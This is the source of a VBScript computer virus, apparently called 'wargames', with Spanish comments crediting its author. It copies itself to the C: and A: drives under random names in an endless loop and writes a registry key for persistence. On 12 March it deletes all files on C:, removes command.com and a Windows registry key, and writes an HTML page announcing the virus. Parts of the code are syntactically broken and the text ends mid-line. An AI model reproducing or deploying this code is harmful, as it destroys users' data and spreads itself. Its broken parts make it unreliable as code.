'Creado en Marruecos por GPVCWAR
'GPVCWAR te felicito, wargames!!!
On Error Resume Next
Set grone = CreateObject("scripting.filesystemobject")
Set a = CreateObject("scripting.filesystemobject")
Set o = CreateObject("scripting.filesystemobject")
Do
Randomize
kuasa = Int(Rnd * 5)
If kuasa = "0" Then Name = "war"
If kuasa = "1" Then Name = "games"
If kuasa = "2" Then Name = "loco"
If kuasa = "3" Then Name = "Brendano"
If kuasa = "4" Then Name = "Readme"
grone.copyfile ".\leeme.vbs", "c:\" & Name & ".vbs"
a.copyfile ".\leeme.vbs", "a:\" & Name & ".vbs"
Loop
o.copyfile ".\leeme.vbs", "c:\leeme.vbs"
Set regdel = CreateObject("wscript.shell")
Set reg = CreateObject("wscript.shell")
reg.regwrite "HKEY_CURRENT_USER\Software\GPVCWAR", "c:\leeme.vbs"
Set m = CreateObject("wscript.shell")
If m.RegRead "HKEY_CURRENT_USER\Software\GPVCWAR"
GoTo "mail()"
End If
Set del = CreateObject("scripting.filesystemobject")
If (Month()) = 3 And (Day()) = 12 Then
del.deletefile = "c:\*.*"
regdel.RegDelete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion"
Set Page = CreateObject("wscript.shell")
Page.Run "http:// "
Set Command = CreateObject("scripting.filesystemobject")
Command.deletefile "c:\command.com"
Set textfile = CreateObject("scripting.filesystemobject")
Set contenido = textfile.createtextfile("c:\Informacion.html)", True)
contenido.writeline ""
contenido.writeline ""
contenido.writeline "Ésta es la página del virus wargames, Vous avez entrez a la page du virus wargames, This is the webpage of the wargames virus"
contenido.writeline ""
contenido.writeline "